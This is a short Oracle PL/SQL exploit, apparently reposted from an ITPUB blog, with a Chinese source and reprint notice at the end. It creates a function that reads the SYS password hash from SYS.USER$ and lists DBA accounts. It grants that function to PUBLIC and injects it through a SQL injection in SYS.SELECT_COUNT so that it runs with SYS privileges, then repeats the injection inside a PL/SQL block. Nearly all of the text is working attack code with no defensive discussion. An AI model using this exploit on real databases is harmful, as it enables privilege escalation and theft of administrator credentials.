CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
LOOP
FETCH CV INTO BUFF;
DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA.');
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
RETURN 'FOO';
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;
SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL;
[@more@]封装到存储过程:
DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT('SYS'' || SCOTT.GET_IT()--');
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/13442480/viewspace-1033711/ ,如需转载,请注明出处,否则将追究法律责任。